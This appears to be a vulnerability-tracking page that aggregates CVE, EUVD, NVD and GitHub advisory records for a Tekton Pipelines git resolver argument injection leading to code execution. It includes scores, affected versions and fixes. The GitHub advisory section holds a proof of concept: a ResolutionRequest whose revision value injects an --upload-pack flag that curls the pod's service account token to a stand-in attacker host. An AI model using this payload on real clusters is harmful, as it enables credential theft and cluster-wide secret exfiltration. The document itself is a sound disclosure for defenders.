Tekton Pipelines: Git Resolver Unsanitized Revision Parameter Enables git Argument Injection Leading to RCE
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-40938
PublishedTekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Starting in version 1.0.0 and prior to versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1, the git resolver's revision parameter is passed directly as a positional argument to git fetch without any validation that it does not begin with a - character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary git fetch flags such as --upload-pack=<binary>. Combined with the validateRepoURL function explicitly permitting URLs that begin with / (local filesystem paths), a tenant who can submit ResolutionRequest objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The tekton-pipelines-resolvers ServiceAccount holds cluster-wide get/list/watch on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration. Versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1 fix the issue.
- Source published
- 21 Apr 2026 20:45:24 UTC
- Source modified
- 7 Sep 2026 12:04:45 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
euvd · EUVD-2026-24491
PublishedTekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Starting in version 1.0.0 and prior to versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1, the git resolver's revision parameter is passed directly as a positional argument to git fetch without any validation that it does not begin with a - character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary git fetch flags such as --upload-pack=<binary>. Combined with the validateRepoURL function explicitly permitting URLs that begin with / (local filesystem paths), a tenant who can submit ResolutionRequest objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The tekton-pipelines-resolvers ServiceAccount holds cluster-wide get/list/watch on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration. Versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1 fix the issue.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Apr 21, 2026, 8:45:24 PM
dateUpdated: Sep 7, 2026, 12:04:45 PM
8 related source bulletins · separate from aliases
WID-SEC-W-2026-1550: Red Hat OpenShift: Schwachstelle ermöglicht Codeausführung und Offenlegung von Informationen
CVE-2026-40938
RHSA-2026:17546: Red Hat Security Advisory: Red Hat OpenShift Builds 1.8.0
CVE-2026-40938
RHSA-2026:89131: Red Hat Security Advisory: Red Hat OpenShift Builds 1.9.2
CVE-2026-33818 · CVE-2026-39821 · CVE-2026-40161 · CVE-2026-40938 · CVE-2026-46600 · CVE-2026-56851 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-78667 · CVE-2026-78669 · CVE-2026-84304 · CVE-2026-84445 · CVE-2026-97031 · CVE-2026-111943 · CVE-2026-114406
RHSA-2026:89041: Red Hat Security Advisory: Red Hat OpenShift Builds 1.9.2
CVE-2026-33818 · CVE-2026-39821 · CVE-2026-40161 · CVE-2026-40938 · CVE-2026-46600 · CVE-2026-56851 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-78667 · CVE-2026-78669 · CVE-2026-84304 · CVE-2026-84445 · CVE-2026-97031 · CVE-2026-111943
RHSA-2026:24359: Red Hat Security Advisory: Red Hat OpenShift Builds 1.7.3
CVE-2026-32280 · CVE-2026-40161 · CVE-2026-40938
RHSA-2026:26519: Red Hat Security Advisory: Red Hat OpenShift Pipelines Release 1.21.2
CVE-2026-27141 · CVE-2026-33186 · CVE-2026-33816 · CVE-2026-40938
RHSA-2026:24484: Red Hat Security Advisory: Red Hat OpenShift Pipelines Release 1.21.2
CVE-2026-33186 · CVE-2026-33211 · CVE-2026-34986 · CVE-2026-40161 · CVE-2026-40938
RHSA-2026:26538: Red Hat Security Advisory: Red Hat OpenShift Pipelines Release 1.21.2
CVE-2026-27141 · CVE-2026-40938
- Source published
- Apr 21, 2026, 8:45:24 PM (timezone not stated)
- Source modified
- Sep 7, 2026, 12:04:45 PM (timezone not stated)
- Observed here
- 28 Oct 2026 05:06:26 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 3.1 · 8.5 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
nvd · CVE-2026-40938
PublishedTekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Starting in version 1.0.0 and prior to versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1, the git resolver's revision parameter is passed directly as a positional argument to git fetch without any validation that it does not begin with a - character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary git fetch flags such as --upload-pack=<binary>. Combined with the validateRepoURL function explicitly permitting URLs that begin with / (local filesystem paths), a tenant who can submit ResolutionRequest objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The tekton-pipelines-resolvers ServiceAccount holds cluster-wide get/list/watch on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration. Versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1 fix the issue.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Modified
Weakness classifications: CWE-88
Original publisher date fields
published: 2026-04-21T21:16:46.283
lastModified: 2026-10-26T21:10:00.170
1 source CPE criteria · context only
- cpe:2.3:a:linuxfoundation:tekton_pipelines:*:*:*:*:*:go:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 21 Apr 2026 21:16:46 UTC
- Source modified
- 26 Oct 2026 21:10:00 UTC
- Observed here
- 27 Oct 2026 10:10:07 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS 3.1 · [email protected] · Primary · 8.5 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 8.5 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
osv · GHSA-94jr-7pqp-xhcq
Published## Summary The git resolver's `revision` parameter is passed directly as a positional argument to `git fetch` without any validation that it does not begin with a `-` character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary `git fetch` flags such as `--upload-pack=<binary>`. Combined with the `validateRepoURL` function explicitly permitting URLs that begin with `/` (local filesystem paths), a tenant who can submit `ResolutionRequest` objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The `tekton-pipelines-resolvers` ServiceAccount holds cluster-wide `get/list/watch` on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration. ## Details ### Root Cause 1 — Unvalidated `revision` parameter passed to `git fetch` `pkg/resolution/resolver/git/repository.go:85`: ```go // pkg/resolution/resolver/git/repository.go lines 84-96 // 'revision' is the raw user-supplied string from the ResolutionRequest param. // It is passed verbatim as a positional argument to git fetch: func (repo *repository) checkout(ctx context.Context, revision string) error { _, err := repo.execGit(ctx, "fetch", "origin", revision, "--depth=1") // When revision == "--upload-pack=/usr/bin/curl", git parses it as the // --upload-pack flag, not as a refspec — executing the binary locally. if err != nil { return fmt.Errorf("fetch: %w", err) } _, err = repo.execGit(ctx, "checkout", "FETCH_HEAD") return err } ``` `execGit` invokes `exec.CommandContext("git", ...)` — no shell is used, so shell metacharacters cannot be injected. However, git itself parses flags from mixed positional arguments. When `revision = "--upload-pack=/path/to/binary"`, git receives this as the flag `--upload-pack=/path/to/binary`, not as a refspec. `PopulateDefaultParams` (`resolver.go:418–424`) applies only a leading-slash strip and a `containsDotDot` check on the `pathInRepo` parameter; the `revision` parameter receives no validation at all. ### Root Cause 2 — `validateRepoURL` explicitly permits local filesystem paths `pkg/resolution/resolver/git/resolver.go:154-158`: ```go // validateRepoURL validates if the given URL is a valid git, http, https URL or // starting with a / (a local repository). func validateRepoURL(url string) bool { pattern := `^(/|[^@]+@[^:]+|(git|https?)://)` re := regexp.MustCompile(pattern) return re.MatchString(url) } ``` Any URL beginning with `/` passes validation and is used directly as the argument to `git clone`. This means a local filesystem path such as `/tmp/some-repo` is a valid resolver URL. ### Exploit Chain `--upload-pack=<binary>` causes git to execute the specified binary as the upload-pack server when communicating with the remote. For local-path remotes (`/path`), git invokes the binary on the resolver pod itself with the repository path as its sole argument. Because the argument is passed via `exec.Command` as a single `--upload-pack=<binary>` string (not split by a shell), only binaries at known paths can be invoked — but several useful binaries exist in the resolver pod image (e.g., `/bin/sh`, `/usr/bin/curl`, `/bin/cp`). Attack complexity is High because the exploit requires either: - A valid git repository at a known, predicable path on the resolver pod (e.g., `/tmp/<reponame>-<suffix>` from a concurrent resolution), or - A default-URL configuration pointing at a local path ## PoC ```bash # Step 1: Set up a local git repository to serve as the "origin" # (in a real attack, the attacker would time this against a concurrent clone # or use any pre-existing git repo path on the resolver pod) git init /tmp/localrepo && cd /tmp/localrepo && git commit --allow-empty -m "init" # Step 2: Craft a ResolutionRequest with injected --upload-pack flag kubectl create -f - <<'EOF' apiVersion: resolution.tekton.dev/v1beta1 kind: ResolutionRequest metadata: name: revision-injection-poc namespace: default labels: resolution.tekton.dev/type: git spec: params: - name: url value: /tmp/localrepo - name: revision value: "--upload-pack=/usr/bin/curl http://c2.attacker.internal/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 -w0)" - name: pathInRepo value: README.md EOF # The resolver pod executes: # git -C <tmpdir> fetch origin \ # "--upload-pack=/usr/bin/curl http://c2.attacker.internal/..." \ # --depth=1 # # For single-argument binaries (/bin/sh, /usr/bin/env, etc.): # git -C <tmpdir> fetch origin "--upload-pack=/bin/sh" --depth=1 # Executes /bin/sh with the local repository path as argv[1]. # From /bin/sh, the attacker can use a pre-staged script (e.g., written # via a workspace volume) to achieve arbitrary command execution. ``` **Verified**: `git fetch origin --upload-pack=/tmp/test-exec.sh --depth=1` executes `test-exec.sh` on the local machine even when `origin` is a local filesystem path. Exit code 0 was observed with the test binary executed successfully. ## Impact - **Code execution on the resolver pod** when an attacker can stage or predict a valid git repository path in `/tmp` on the resolver pod. - **Full cluster-wide Secret exfiltration**: The `tekton-pipelines-resolvers` ServiceAccount is bound to a ClusterRole that grants `get/list/watch` on all Secrets in all namespaces (`config/resolvers/200-clusterrole.yaml`). Code execution on the resolver pod is therefore equivalent to reading every Secret in the cluster. - **Privilege escalation**: Secrets typically include kubeconfig files, cloud provider credentials, and API tokens — reading them enables lateral movement to cloud infrastructure. - Both the deprecated resolver (`pkg/resolution/resolver/git/`) and the current resolver (`pkg/remoteresolution/resolver/git/`) share the same `validateRepoURL`, `PopulateDefaultParams`, and `checkout` implementation via the shared `git` package. Both are affected. ## Recommended Fix **Fix 1 — Validate that `revision` does not begin with `-`** in `PopulateDefaultParams`: ```go if strings.HasPrefix(paramsMap[RevisionParam], "-") { return nil, fmt.Errorf("invalid revision %q: must not begin with '-'", paramsMap[RevisionParam]) } ``` **Fix 2 — Restrict `validateRepoURL` to remote URLs only** (remove local-path support in production builds, or add an explicit admin opt-in feature flag): ```go func validateRepoURL(url string) bool { pattern := `^([^@]+@[^:]+|(git|https?)://)` re := regexp.MustCompile(pattern) return re.MatchString(url) } ``` Applying Fix 1 alone is sufficient to prevent the argument injection. Fix 2 eliminates the enabling condition (local-path remotes for which `--upload-pack` runs locally) and reduces attack surface further.
- Source published
- 21 Apr 2026 20:28:36 UTC
- Source modified
- 10 Sep 2026 03:51:01 UTC
- Observed here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Publisher rating · HIGH
osv · GO-2026-5272
PublishedTekton Pipelines git resolver revision parameter argument injection in github.com/tektoncd/pipeline
- Source published
- 25 Jun 2026 18:43:15 UTC
- Source modified
- 23 Jul 2026 19:15:16 UTC
- Observed here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.